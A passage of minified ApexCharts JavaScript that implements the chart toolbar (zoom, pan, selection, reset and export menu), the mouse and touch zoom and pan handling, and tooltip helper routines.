8h2v-2H7v2zM3 9h2V7H3v2zm10-6h-2v2h2V3zm6 0v2h2c0-1.1-.9-2-2-2zM5 21v-2H3c0 1.1.9 2 2 2zm-2-4h2v-2H3v2zM9 3H7v2h2V3zm2 18h2v-2h-2v2zm8-8h2v-2h-2v2zm0 8c1.1 0 2-.9 2-2h-2v2zm0-12h2V7h-2v2zm0 8h2v-2h-2v2zm-4 4h2v-2h-2v2zm0-16h2V3h-2v2z"/>\n</svg>',title:t.localeValues["zoom"===i?"selectionZoom":"selection"],class:e.globals.isTouchDevice?"apexcharts-element-hidden":"apexcharts-".concat(i,"-icon")})};n("zoom"),n("selection"),this.t.pan&&e.config.chart.zoom.enabled&&r.push({el:this.elPan,icon:"string"==typeof this.t.pan?this.t.pan:'<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" fill="#000000" height="24" viewBox="0 0 24 24" width="24">\n    <defs>\n        <path d="M0 0h24v24H0z" id="a"/>\n    </defs>\n    <clipPath id="b">\n        <use overflow="visible" xlink:href="#a"/>\n    </clipPath>\n    <path clip-path="url(#b)" d="M23 5.5V20c0 2.2-1.8 4-4 4h-7.3c-1.08 0-2.1-.43-2.85-1.19L1 14.83s1.26-1.23 1.3-1.25c.22-.19.49-.29.79-.29.22 0 .42.06.6.16.04.01 4.31 2.46 4.31 2.46V4c0-.83.67-1.5 1.5-1.5S11 3.17 11 4v7h1V1.5c0-.83.67-1.5 1.5-1.5S15 .67 15 1.5V11h1V2.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5V11h1V5.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5z"/>\n</svg>',title:this.localeValues.pan,class:e.globals.isTouchDevice?"apexcharts-element-hidden":"apexcharts-pan-icon"}),o("reset",this.elZoomReset,'<svg fill="#000000" height="24" viewBox="0 0 24 24" width="24" xmlns="http://www.w3.org/2000/svg">\n    <path d="M10 20v-6h4v6h5v-8h3L12 3 2 12h3v8z"/>\n    <path d="M0 0h24v24H0z" fill="none"/>\n</svg>'),this.t.download&&r.push({el:this.elMenuIcon,icon:"string"==typeof this.t.download?this.t.download:'<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24"><path fill="none" d="M0 0h24v24H0V0z"/><path d="M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z"/></svg>',title:this.localeValues.menu,class:"apexcharts-menu-icon"});for(var l=0;l<this.elCustomIcons.length;l++)r.push({el:this.elCustomIcons[l],icon:this.t.customIcons[l].icon,title:this.t.customIcons[l].title,index:this.t.customIcons[l].index,class:"apexcharts-toolbar-custom-icon "+this.t.customIcons[l].class});r.forEach((function(t,e){t.index&&x.moveIndexInArray(r,e,t.index)}));for(var h=0;h<r.length;h++)m.setAttrs(r[h].el,{class:r[h].class,title:r[h].title}),r[h].el.innerHTML=r[h].icon,a.appendChild(r[h].el);this._createHamburgerMenu(a),e.globals.zoomEnabled?this.elZoom.classList.add(this.selectedClass):e.globals.panEnabled?this.elPan.classList.add(this.selectedClass):e.globals.selectionEnabled&&this.elSelection.classList.add(this.selectedClass),this.addToolbarEventListeners()}},{key:"_createHamburgerMenu",value:function(t){this.elMenuItems=[],t.appendChild(this.elMenu),m.setAttrs(this.elMenu,{class:"apexcharts-menu"});var e=[{name:"exportSVG",title:this.localeValues.exportToSVG},{name:"exportPNG",title:this.localeValues.exportToPNG},{name:"exportCSV",title:this.localeValues.exportToCSV}];this.w.globals.allSeriesHasEqualX||e.splice(2,1);for(var i=0;i<e.length;i++)this.elMenuItems.push(document.createElement("div")),this.elMenuItems[i].innerHTML=e[i].title,m.setAttrs(this.elMenuItems[i],{class:"apexcharts-menu-item ".concat(e[i].name),title:e[i].title}),this.elMenu.appendChild(this.elMenuItems[i])}},{key:"addToolbarEventListeners",value:function(){var t=this;this.elZoomReset.addEventListener("click",this.handleZoomReset.bind(this)),this.elSelection.addEventListener("click",this.toggleZoomSelection.bind(this,"selection")),this.elZoom.addEventListener("click",this.toggleZoomSelection.bind(this,"zoom")),this.elZoomIn.addEventListener("click",this.handleZoomIn.bind(this)),this.elZoomOut.addEventListener("click",this.handleZoomOut.bind(this)),this.elPan.addEventListener("click",this.togglePanning.bind(this)),this.elMenuIcon.addEventListener("click",this.toggleMenu.bind(this)),this.elMenuItems.forEach((function(e){e.classList.contains("exportSVG")?e.addEventListener("click",t.handleDownload.bind(t,"svg")):e.classList.contains("exportPNG")?e.addEventListener("click",t.handleDownload.bind(t,"png")):e.classList.contains("exportCSV")&&e.addEventListener("click",t.handleDownload.bind(t,"csv"))}));for(var e=0;e<this.t.customIcons.length;e++)this.elCustomIcons[e].addEventListener("click",this.t.customIcons[e].click.bind(this,this.ctx,this.ctx.w))}},{key:"toggleZoomSelection",value:function(t){this.ctx.getSyncedCharts().forEach((function(e){e.ctx.toolbar.toggleOtherControls();var i="selection"===t?e.ctx.toolbar.elSelection:e.ctx.toolbar.elZoom,a="selection"===t?"selectionEnabled":"zoomEnabled";e.w.globals[a]=!e.w.globals[a],i.classList.contains(e.ctx.toolbar.selectedClass)?i.classList.remove(e.ctx.toolbar.selectedClass):i.classList.add(e.ctx.toolbar.selectedClass)}))}},{key:"getToolbarIconsReference",value:function(){var t=this.w;this.elZoom||(this.elZoom=t.globals.dom.baseEl.querySelector(".apexcharts-zoom-icon")),this.elPan||(this.elPan=t.globals.dom.baseEl.querySelector(".apexcharts-pan-icon")),this.elSelection||(this.elSelection=t.globals.dom.baseEl.querySelector(".apexcharts-selection-icon"))}},{key:"enableZoomPanFromToolbar",value:function(t){this.toggleOtherControls(),"pan"===t?this.w.globals.panEnabled=!0:this.w.globals.zoomEnabled=!0;var e="pan"===t?this.elPan:this.elZoom,i="pan"===t?this.elZoom:this.elPan;e&&e.classList.add(this.selectedClass),i&&i.classList.remove(this.selectedClass)}},{key:"togglePanning",value:function(){this.ctx.getSyncedCharts().forEach((function(t){t.ctx.toolbar.toggleOtherControls(),t.w.globals.panEnabled=!t.w.globals.panEnabled,t.ctx.toolbar.elPan.classList.contains(t.ctx.toolbar.selectedClass)?t.ctx.toolbar.elPan.classList.remove(t.ctx.toolbar.selectedClass):t.ctx.toolbar.elPan.classList.add(t.ctx.toolbar.selectedClass)}))}},{key:"toggleOtherControls",value:function(){var t=this,e=this.w;e.globals.panEnabled=!1,e.globals.zoomEnabled=!1,e.globals.selectionEnabled=!1,this.getToolbarIconsReference(),[this.elPan,this.elSelection,this.elZoom].forEach((function(e){e&&e.classList.remove(t.selectedClass)}))}},{key:"handleZoomIn",value:function(){var t=this.w;t.globals.isRangeBar&&(this.minX=t.globals.minY,this.maxX=t.globals.maxY);var e=(this.minX+this.maxX)/2,i=(this.minX+e)/2,a=(this.maxX+e)/2,s=this._getNewMinXMaxX(i,a);t.globals.disableZoomIn||this.zoomUpdateOptions(s.minX,s.maxX)}},{key:"handleZoomOut",value:function(){var t=this.w;if(t.globals.isRangeBar&&(this.minX=t.globals.minY,this.maxX=t.globals.maxY),!("datetime"===t.config.xaxis.type&&new Date(this.minX).getUTCFullYear()<1e3)){var e=(this.minX+this.maxX)/2,i=this.minX-(e-this.minX),a=this.maxX-(e-this.maxX),s=this._getNewMinXMaxX(i,a);t.globals.disableZoomOut||this.zoomUpdateOptions(s.minX,s.maxX)}}},{key:"_getNewMinXMaxX",value:function(t,e){var i=this.w.config.xaxis.convertedCatToNumeric;return{minX:i?Math.floor(t):t,maxX:i?Math.floor(e):e}}},{key:"zoomUpdateOptions",value:function(t,e){var i=this.w;if(void 0!==t||void 0!==e){if(!(i.config.xaxis.convertedCatToNumeric&&(t<1&&(t=1,e=i.globals.dataPoints),e-t<2))){var a={min:t,max:e},s=this.getBeforeZoomRange(a);s&&(a=s.xaxis);var r={xaxis:a},o=x.clone(i.globals.initialConfig.yaxis);if(i.config.chart.zoom.autoScaleYaxis)o=new _(this.ctx).autoScaleY(this.ctx,o,{xaxis:a});i.config.chart.group||(r.yaxis=o),this.w.globals.zoomed=!0,this.ctx.updateHelpers._updateOptions(r,!1,this.w.config.chart.animations.dynamicAnimation.enabled),this.zoomCallback(a,o)}}else this.handleZoomReset()}},{key:"zoomCallback",value:function(t,e){"function"==typeof this.ev.zoomed&&this.ev.zoomed(this.ctx,{xaxis:t,yaxis:e})}},{key:"getBeforeZoomRange",value:function(t,e){var i=null;return"function"==typeof this.ev.beforeZoom&&(i=this.ev.beforeZoom(this,{xaxis:t,yaxis:e})),i}},{key:"toggleMenu",value:function(){var t=this;window.setTimeout((function(){t.elMenu.classList.contains("apexcharts-menu-open")?t.elMenu.classList.remove("apexcharts-menu-open"):t.elMenu.classList.add("apexcharts-menu-open")}),0)}},{key:"handleDownload",value:function(t){var e=this.w,i=new G(this.ctx);switch(t){case"svg":i.exportToSVG(this.ctx);break;case"png":i.exportToPng(this.ctx);break;case"csv":i.exportToCSV({series:e.config.series,columnDelimiter:e.config.chart.toolbar.export.csv.columnDelimiter})}}},{key:"handleZoomReset",value:function(t){this.ctx.getSyncedCharts().forEach((function(t){var e=t.w;if(e.globals.lastXAxis.min=void 0,e.globals.lastXAxis.max=void 0,t.updateHelpers.revertDefaultAxisMinMax(),"function"==typeof e.config.chart.events.beforeResetZoom){var i=e.config.chart.events.beforeResetZoom(t,e);i&&t.updateHelpers.revertDefaultAxisMinMax(i)}"function"==typeof e.config.chart.events.zoomed&&t.ctx.toolbar.zoomCallback({min:e.config.xaxis.min,max:e.config.xaxis.max}),e.globals.zoomed=!1;var a=t.ctx.series.emptyCollapsedSeries(x.clone(e.globals.initialSeries));t.updateHelpers._updateSeries(a,e.config.chart.animations.dynamicAnimation.enabled)}))}},{key:"destroy",value:function(){this.elZoom=null,this.elZoomIn=null,this.elZoomOut=null,this.elPan=null,this.elSelection=null,this.elZoomReset=null,this.elMenuIcon=null}}]),t}(),ct=function(t){n(i,t);var e=d(i);function i(t){var s;return a(this,i),(s=e.call(this,t)).ctx=t,s.w=t.w,s.dragged=!1,s.graphics=new m(s.ctx),s.eventList=["mousedown","mouseleave","mousemove","touchstart","touchmove","mouseup","touchend"],s.clientX=0,s.clientY=0,s.startX=0,s.endX=0,s.dragX=0,s.startY=0,s.endY=0,s.dragY=0,s.moveDirection="none",s}return r(i,[{key:"init",value:function(t){var e=this,i=t.xyRatios,a=this.w,s=this;this.xyRatios=i,this.zoomRect=this.graphics.drawRect(0,0,0,0),this.selectionRect=this.graphics.drawRect(0,0,0,0),this.gridRect=a.globals.dom.baseEl.querySelector(".apexcharts-grid"),this.zoomRect.node.classList.add("apexcharts-zoom-rect"),this.selectionRect.node.classList.add("apexcharts-selection-rect"),a.globals.dom.elGraphical.add(this.zoomRect),a.globals.dom.elGraphical.add(this.selectionRect),"x"===a.config.chart.selection.type?this.slDraggableRect=this.selectionRect.draggable({minX:0,minY:0,maxX:a.globals.gridWidth,maxY:a.globals.gridHeight}).on("dragmove",this.selectionDragging.bind(this,"dragging")):"y"===a.config.chart.selection.type?this.slDraggableRect=this.selectionRect.draggable({minX:0,maxX:a.globals.gridWidth}).on("dragmove",this.selectionDragging.bind(this,"dragging")):this.slDraggableRect=this.selectionRect.draggable().on("dragmove",this.selectionDragging.bind(this,"dragging")),this.preselectedSelection(),this.hoverArea=a.globals.dom.baseEl.querySelector("".concat(a.globals.chartClass," .apexcharts-svg")),this.hoverArea.classList.add("apexcharts-zoomable"),this.eventList.forEach((function(t){e.hoverArea.addEventListener(t,s.svgMouseEvents.bind(s,i),{capture:!1,passive:!0})}))}},{key:"destroy",value:function(){this.slDraggableRect&&(this.slDraggableRect.draggable(!1),this.slDraggableRect.off(),this.selectionRect.off()),this.selectionRect=null,this.zoomRect=null,this.gridRect=null}},{key:"svgMouseEvents",value:function(t,e){var i=this.w,a=this,s=this.ctx.toolbar,r=i.globals.zoomEnabled?i.config.chart.zoom.type:i.config.chart.selection.type,o=i.config.chart.toolbar.autoSelected;if(e.shiftKey?(this.shiftWasPressed=!0,s.enableZoomPanFromToolbar("pan"===o?"zoom":"pan")):this.shiftWasPressed&&(s.enableZoomPanFromToolbar(o),this.shiftWasPressed=!1),e.target){var n,l=e.target.classList;if(e.target.parentNode&&null!==e.target.parentNode&&(n=e.target.parentNode.classList),!(l.contains("apexcharts-selection-rect")||l.contains("apexcharts-legend-marker")||l.contains("apexcharts-legend-text")||n&&n.contains("apexcharts-toolbar"))){if(a.clientX="touchmove"===e.type||"touchstart"===e.type?e.touches[0].clientX:"touchend"===e.type?e.changedTouches[0].clientX:e.clientX,a.clientY="touchmove"===e.type||"touchstart"===e.type?e.touches[0].clientY:"touchend"===e.type?e.changedTouches[0].clientY:e.clientY,"mousedown"===e.type&&1===e.which){var h=a.gridRect.getBoundingClientRect();a.startX=a.clientX-h.left,a.startY=a.clientY-h.top,a.dragged=!1,a.w.globals.mousedown=!0}if(("mousemove"===e.type&&1===e.which||"touchmove"===e.type)&&(a.dragged=!0,i.globals.panEnabled?(i.globals.selection=null,a.w.globals.mousedown&&a.panDragging({context:a,zoomtype:r,xyRatios:t})):(a.w.globals.mousedown&&i.globals.zoomEnabled||a.w.globals.mousedown&&i.globals.selectionEnabled)&&(a.selection=a.selectionDrawing({context:a,zoomtype:r}))),"mouseup"===e.type||"touchend"===e.type||"mouseleave"===e.type){var c=a.gridRect.getBoundingClientRect();a.w.globals.mousedown&&(a.endX=a.clientX-c.left,a.endY=a.clientY-c.top,a.dragX=Math.abs(a.endX-a.startX),a.dragY=Math.abs(a.endY-a.startY),(i.globals.zoomEnabled||i.globals.selectionEnabled)&&a.selectionDrawn({context:a,zoomtype:r}),i.globals.panEnabled&&i.config.xaxis.convertedCatToNumeric&&a.delayedPanScrolled()),i.globals.zoomEnabled&&a.hideSelectionRect(this.selectionRect),a.dragged=!1,a.w.globals.mousedown=!1}this.makeSelectionRectDraggable()}}}},{key:"makeSelectionRectDraggable",value:function(){var t=this.w;if(this.selectionRect){var e=this.selectionRect.node.getBoundingClientRect();e.width>0&&e.height>0&&this.slDraggableRect.selectize({points:"l, r",pointSize:8,pointType:"rect"}).resize({constraint:{minX:0,minY:0,maxX:t.globals.gridWidth,maxY:t.globals.gridHeight}}).on("resizing",this.selectionDragging.bind(this,"resizing"))}}},{key:"preselectedSelection",value:function(){var t=this.w,e=this.xyRatios;if(!t.globals.zoomEnabled)if(void 0!==t.globals.selection&&null!==t.globals.selection)this.drawSelectionRect(t.globals.selection);else if(void 0!==t.config.chart.selection.xaxis.min&&void 0!==t.config.chart.selection.xaxis.max){var i=(t.config.chart.selection.xaxis.min-t.globals.minX)/e.xRatio,a={x:i,y:0,width:t.globals.gridWidth-(t.globals.maxX-t.config.chart.selection.xaxis.max)/e.xRatio-i,height:t.globals.gridHeight,translateX:0,translateY:0,selectionEnabled:!0};this.drawSelectionRect(a),this.makeSelectionRectDraggable(),"function"==typeof t.config.chart.events.selection&&t.config.chart.events.selection(this.ctx,{xaxis:{min:t.config.chart.selection.xaxis.min,max:t.config.chart.selection.xaxis.max},yaxis:{}})}}},{key:"drawSelectionRect",value:function(t){var e=t.x,i=t.y,a=t.width,s=t.height,r=t.translateX,o=void 0===r?0:r,n=t.translateY,l=void 0===n?0:n,h=this.w,c=this.zoomRect,d=this.selectionRect;if(this.dragged||null!==h.globals.selection){var g={transform:"translate("+o+", "+l+")"};h.globals.zoomEnabled&&this.dragged&&(a<0&&(a=1),c.attr({x:e,y:i,width:a,height:s,fill:h.config.chart.zoom.zoomedArea.fill.color,"fill-opacity":h.config.chart.zoom.zoomedArea.fill.opacity,stroke:h.config.chart.zoom.zoomedArea.stroke.color,"stroke-width":h.config.chart.zoom.zoomedArea.stroke.width,"stroke-opacity":h.config.chart.zoom.zoomedArea.stroke.opacity}),m.setAttrs(c.node,g)),h.globals.selectionEnabled&&(d.attr({x:e,y:i,width:a>0?a:0,height:s>0?s:0,fill:h.config.chart.selection.fill.color,"fill-opacity":h.config.chart.selection.fill.opacity,stroke:h.config.chart.selection.stroke.color,"stroke-width":h.config.chart.selection.stroke.width,"stroke-dasharray":h.config.chart.selection.stroke.dashArray,"stroke-opacity":h.config.chart.selection.stroke.opacity}),m.setAttrs(d.node,g))}}},{key:"hideSelectionRect",value:function(t){t&&t.attr({x:0,y:0,width:0,height:0})}},{key:"selectionDrawing",value:function(t){var e=t.context,i=t.zoomtype,a=this.w,s=e,r=this.gridRect.getBoundingClientRect(),o=s.startX-1,n=s.startY,l=!1,h=!1,c=s.clientX-r.left-o,d=s.clientY-r.top-n,g={};return Math.abs(c+o)>a.globals.gridWidth?c=a.globals.gridWidth-o:s.clientX-r.left<0&&(c=o),o>s.clientX-r.left&&(l=!0,c=Math.abs(c)),n>s.clientY-r.top&&(h=!0,d=Math.abs(d)),g="x"===i?{x:l?o-c:o,y:0,width:c,height:a.globals.gridHeight}:"y"===i?{x:0,y:h?n-d:n,width:a.globals.gridWidth,height:d}:{x:l?o-c:o,y:h?n-d:n,width:c,height:d},s.drawSelectionRect(g),s.selectionDragging("resizing"),g}},{key:"selectionDragging",value:function(t,e){var i=this,a=this.w,s=this.xyRatios,r=this.selectionRect,o=0;"resizing"===t&&(o=30);var n=function(t){return parseFloat(r.node.getAttribute(t))},l={x:n("x"),y:n("y"),width:n("width"),height:n("height")};a.globals.selection=l,"function"==typeof a.config.chart.events.selection&&a.globals.selectionEnabled&&(clearTimeout(this.w.globals.selectionResizeTimer),this.w.globals.selectionResizeTimer=window.setTimeout((function(){var t=i.gridRect.getBoundingClientRect(),e=r.node.getBoundingClientRect(),o={xaxis:{min:a.globals.xAxisScale.niceMin+(e.left-t.left)*s.xRatio,max:a.globals.xAxisScale.niceMin+(e.right-t.left)*s.xRatio},yaxis:{min:a.globals.yAxisScale[0].niceMin+(t.bottom-e.bottom)*s.yRatio[0],max:a.globals.yAxisScale[0].niceMax-(e.top-t.top)*s.yRatio[0]}};a.config.chart.events.selection(i.ctx,o),a.config.chart.brush.enabled&&void 0!==a.config.chart.events.brushScrolled&&a.config.chart.events.brushScrolled(i.ctx,o)}),o))}},{key:"selectionDrawn",value:function(t){var e=t.context,i=t.zoomtype,a=this.w,s=e,r=this.xyRatios,o=this.ctx.toolbar;if(s.startX>s.endX){var n=s.startX;s.startX=s.endX,s.endX=n}if(s.startY>s.endY){var l=s.startY;s.startY=s.endY,s.endY=l}var h=void 0,c=void 0;a.globals.isRangeBar?(h=a.globals.yAxisScale[0].niceMin+s.startX*r.invertedYRatio,c=a.globals.yAxisScale[0].niceMin+s.endX*r.invertedYRatio):(h=a.globals.xAxisScale.niceMin+s.startX*r.xRatio,c=a.globals.xAxisScale.niceMin+s.endX*r.xRatio);var d=[],g=[];if(a.config.yaxis.forEach((function(t,e){d.push(a.globals.yAxisScale[e].niceMax-r.yRatio[e]*s.startY),g.push(a.globals.yAxisScale[e].niceMax-r.yRatio[e]*s.endY)})),s.dragged&&(s.dragX>10||s.dragY>10)&&h!==c)if(a.globals.zoomEnabled){var u=x.clone(a.globals.initialConfig.yaxis),p=x.clone(a.globals.initialConfig.xaxis);if(a.globals.zoomed=!0,a.config.xaxis.convertedCatToNumeric&&(h=Math.floor(h),c=Math.floor(c),h<1&&(h=1,c=a.globals.dataPoints),c-h<2&&(c=h+1)),"xy"!==i&&"x"!==i||(p={min:h,max:c}),"xy"!==i&&"y"!==i||u.forEach((function(t,e){u[e].min=g[e],u[e].max=d[e]})),a.config.chart.zoom.autoScaleYaxis){var f=new _(s.ctx);u=f.autoScaleY(s.ctx,u,{xaxis:p})}if(o){var b=o.getBeforeZoomRange(p,u);b&&(p=b.xaxis?b.xaxis:p,u=b.yaxis?b.yaxis:u)}var v={xaxis:p};a.config.chart.group||(v.yaxis=u),s.ctx.updateHelpers._updateOptions(v,!1,s.w.config.chart.animations.dynamicAnimation.enabled),"function"==typeof a.config.chart.events.zoomed&&o.zoomCallback(p,u)}else if(a.globals.selectionEnabled){var m,y=null;m={min:h,max:c},"xy"!==i&&"y"!==i||(y=x.clone(a.config.yaxis)).forEach((function(t,e){y[e].min=g[e],y[e].max=d[e]})),a.globals.selection=s.selection,"function"==typeof a.config.chart.events.selection&&a.config.chart.events.selection(s.ctx,{xaxis:m,yaxis:y})}}},{key:"panDragging",value:function(t){var e=t.context,i=this.w,a=e;if(void 0!==i.globals.lastClientPosition.x){var s=i.globals.lastClientPosition.x-a.clientX,r=i.globals.lastClientPosition.y-a.clientY;Math.abs(s)>Math.abs(r)&&s>0?this.moveDirection="left":Math.abs(s)>Math.abs(r)&&s<0?this.moveDirection="right":Math.abs(r)>Math.abs(s)&&r>0?this.moveDirection="up":Math.abs(r)>Math.abs(s)&&r<0&&(this.moveDirection="down")}i.globals.lastClientPosition={x:a.clientX,y:a.clientY};var o=i.globals.isRangeBar?i.globals.minY:i.globals.minX,n=i.globals.isRangeBar?i.globals.maxY:i.globals.maxX;i.config.xaxis.convertedCatToNumeric||a.panScrolled(o,n)}},{key:"delayedPanScrolled",value:function(){var t=this.w,e=t.globals.minX,i=t.globals.maxX,a=(t.globals.maxX-t.globals.minX)/2;"left"===this.moveDirection?(e=t.globals.minX+a,i=t.globals.maxX+a):"right"===this.moveDirection&&(e=t.globals.minX-a,i=t.globals.maxX-a),e=Math.floor(e),i=Math.floor(i),this.updateScrolledChart({xaxis:{min:e,max:i}},e,i)}},{key:"panScrolled",value:function(t,e){var i=this.w,a=this.xyRatios,s=x.clone(i.globals.initialConfig.yaxis),r=a.xRatio,o=i.globals.minX,n=i.globals.maxX;i.globals.isRangeBar&&(r=a.invertedYRatio,o=i.globals.minY,n=i.globals.maxY),"left"===this.moveDirection?(t=o+i.globals.gridWidth/15*r,e=n+i.globals.gridWidth/15*r):"right"===this.moveDirection&&(t=o-i.globals.gridWidth/15*r,e=n-i.globals.gridWidth/15*r),i.globals.isRangeBar||(t<i.globals.initialMinX||e>i.globals.initialMaxX)&&(t=o,e=n);var l={min:t,max:e};i.config.chart.zoom.autoScaleYaxis&&(s=new _(this.ctx).autoScaleY(this.ctx,s,{xaxis:l}));var h={xaxis:{min:t,max:e}};i.config.chart.group||(h.yaxis=s),this.updateScrolledChart(h,t,e)}},{key:"updateScrolledChart",value:function(t,e,i){var a=this.w;this.ctx.updateHelpers._updateOptions(t,!1,!1),"function"==typeof a.config.chart.events.scrolled&&a.config.chart.events.scrolled(this.ctx,{xaxis:{min:e,max:i}})}}]),i}(ht),dt=function(){function t(e){a(this,t),this.w=e.w,this.ttCtx=e,this.ctx=e.ctx}return r(t,[{key:"getNearestValues",value:function(t){var e=t.hoverArea,i=t.elGrid,a=t.clientX,s=t.clientY,r=this.w,o=i.getBoundingClientRect(),n=o.width,l=o.height,h=n/(r.globals.dataPoints-1),c=l/r.globals.dataPoints,d=this.hasBars();!r.globals.comboCharts&&!d||r.config.xaxis.convertedCatToNumeric||(h=n/r.globals.dataPoints);var g=a-o.left-r.globals.barPadForNumericAxis,u=s-o.top;g<0||u<0||g>n||u>l?(e.classList.remove("hovering-zoom"),e.classList.remove("hovering-pan")):r.globals.zoomEnabled?(e.classList.remove("hovering-pan"),e.classList.add("hovering-zoom")):r.globals.panEnabled&&(e.classList.remove("hovering-zoom"),e.classList.add("hovering-pan"));var p=Math.round(g/h),f=Math.floor(u/c);d&&!r.config.xaxis.convertedCatToNumeric&&(p=Math.ceil(g/h),p-=1);var b=null,v=null,m=[],y=[];if(r.globals.seriesXvalues.forEach((function(t){m.push([t[0]+1e-6].concat(t))})),r.globals.seriesYvalues.forEach((function(t){y.push([t[0]+1e-6].concat(t))})),m=m.map((function(t){return t.filter((function(t){return x.isNumber(t)}))})),y=y.map((function(t){return t.filter((function(t){return x.isNumber(t)}))})),r.globals.isXNumeric){var w=this.ttCtx.getElGrid().getBoundingClientRect(),k=g*(w.width/n),A=u*(w.height/l);b=(v=this.closestInMultiArray(k,A,m,y)).index,p=v.j,null!==b&&(m=r.globals.seriesXvalues[b],p=(v=this.closestInArray(k,m)).index)}return r.globals.capturedSeriesIndex=null===b?-1:b,(!p||p<1)&&(p=0),r.globals.isBarHorizontal?r.globals.capturedDataPointIndex=f:r.globals.capturedDataPointIndex=p,{capturedSeries:b,j:r.globals.isBarHorizontal?f:p,hoverX:g,hoverY:u}}},{key:"closestInMultiArray",value:function(t,e,i,a){var s=this.w,r=0,o=null,n=-1;s.globals.series.length>1?r=this.getFirstActiveXArray(i):o=0;var l=i[r][0],h=Math.abs(t-l);if(i.forEach((function(e){e.forEach((function(e,i){var a=Math.abs(t-e);a<h&&(h=a,n=i)}))})),-1!==n){var c=a[r][n],d=Math.abs(e-c);o=r,a.forEach((function(t,i){var a=Math.abs(e-t[n]);a<d&&(d=a,o=i)}))}return{index:o,j:n}}},{key:"getFirstActiveXArray",value:function(t){for(var e=this.w,i=0,a=t.map((function(t,e){return t.length>0?e:-1})),s=0;s<a.length;s++)if(-1!==a[s]&&-1===e.globals.collapsedSeriesIndices.indexOf(s)&&-1===e.globals.ancillaryCollapsedSeriesIndices.indexOf(s)){i=a[s];break}return i}},{key:"closestInArray",value:function(t,e){for(var i=e[0],a=null,s=Math.abs(t-i),r=0;r<e.length;r++){var o=Math.abs(t-e[r]);o<s&&(s=o,a=r)}return{index:a}}},{key:"isXoverlap",value:function(t){var e=[],i=this.w.globals.seriesX.filter((function(t){return void 0!==t[0]}));if(i.length>0)for(var a=0;a<i.length-1;a++)void 0!==i[a][t]&&void 0!==i[a+1][t]&&i[a][t]!==i[a+1][t]&&e.push("unEqual");return 0===e.length}},{key:"isInitialSeriesSameLen",value:function(){for(var t=!0,e=this.w.globals.initialSeries,i=0;i<e.length-1;i++)if(e[i].data.length!==e[i+1].data.length){t=!1;break}return t}},{key:"getBarsHeight",value:function(t){return u(t).reduce((function(t,e){return t+e.getBBox().height}),0)}},{key:"getElMarkers",value:function(t){return"number"==typeof t?this.w.globals.dom.baseEl.querySelectorAll(".apexcharts-series[data\\:realIndex='".concat(t,"'] .apexcharts-series-markers-wrap > *")):this.w.globals.dom.baseEl.querySelectorAll(".apexcharts-series-markers-wrap > *")}},{key:"getAllMarkers",value:function(){var t=this.w.globals.dom.baseEl.querySelectorAll(".apexcharts-series-markers-wrap");(t=u(t)).sort((function(t,e){var i=Number(t.getAttribute("data:realIndex")),a=Number(e.getAttribute("data:realIndex"));return a<i?1:a>i?-1:0}));var e=[];return t.forEach((function(t){e.push(t.querySelector(".apexcharts-marker"))})),e}},{key:"hasMarkers",value:function(t){return this.getElMarkers(t).length>0}},{key:"getElBars",value:function(){return this.w.globals.dom.baseEl.querySelectorAll(".apexcharts-bar-series,  .apexcharts-candlestick-series, .apexcharts-boxPlot-series, .apexcharts-rangebar-series")}},{key:"hasBars",value:function(){return this.getElBars().length>0}},{key:"getHoverMarkerSize",value:function(t){var e=this.w,i=e.config.markers.hover.size;return void 0===i&&(i=e.globals.markers.size[t]+e.config.markers.hover.sizeOffset),i}},{key:"toggleAllTooltipSeriesGroups",value:function(t){var e=this.w,i=this.ttCtx;0===i.allTooltipSeriesGroups.length&&(i.allTooltipSeriesGroups=e.globals.dom.baseEl.querySelectorAll(".apexcharts-tooltip-series-group"));for(var a=i.allTooltipSeriesGroups,s=0;s<a.length;s++)"enable"===t?(a[s].classList.add("apexcharts-active"),a[s].style.display=e.config.tooltip.items.display):(a[s].classList.remove("apexcharts-active"),a[s].style.display="none")}}]),t}(),gt=function(){function t(e){a(this,t),this.w=e.w,this.ctx=e.ctx,this.ttCtx=e,this.tooltipUtil=new dt(e)}return r(t,[{key:"drawSeriesTexts",value:function(t){var e=t.shared,i=void 0===e||e,a=t.ttItems,s=t.i,r=void 0===s?0:s,o=t.j,n=void 0===o?null:o,l=t.y1,h=t.y2,c=t.e,d=this.w;void 0!==d.config.tooltip.custom?this.handleCustomTooltip({i:r,j:n,y1:l,y2:h,w:d}):this.toggleActiveInactiveSeries(i);var g=this.getValuesToPrint({i:r,j:n});this.printLabels({i:r,j:n,values:g,ttItems:a,shared:i,e:c});var u=this.ttCtx.getElTooltip();this.ttCtx.tooltipRect.ttWidth=u.getBoundingClientRect().width,this.ttCtx.tooltipRect.ttHeight=u.getBoundingClientRect().height}},{key:"printLabels",value:function(t){var i,a=this,s=t.i,r=t.j,o=t.values,n=t.ttItems,l=t.shared,h=t.e,c=this.w,d=[],g=function(t){return c.globals.seriesGoals[t]&&c.globals.seriesGoals[t][r]&&Array.isArray(c.globals.seriesGoals[t][r])},u=o.xVal,p=o.zVal,f=o.xAxisTTVal,x="",b=c.globals.colors[s];null!==r&&c.config.plotOptions.bar.distributed&&(b=c.globals.colors[r]);for(var v=function(t,o){var v=a.getFormatters(s);x=a.getSeriesName({fn:v.yLbTitleFormatter,index:s,seriesIndex:s,j:r}),"treemap"===c.config.chart.type&&(x=v.yLbTitleFormatter(String(c.config.series[s].data[r].x),{series:c.globals.series,seriesIndex:s,dataPointIndex:r,w:c}));var m=c.config.tooltip.inverseOrder?o:t;if(c.globals.axisCharts){var y=function(t){var e,i,a,s;return c.globals.isRangeData?v.yLbFormatter(null===(e=c.globals.seriesRangeStart)||void 0===e||null===(i=e[t])||void 0===i?void 0:i[r],{series:c.globals.seriesRangeStart,seriesIndex:t,dataPointIndex:r,w:c})+" - "+v.yLbFormatter(null===(a=c.globals.seriesRangeEnd)||void 0===a||null===(s=a[t])||void 0===s?void 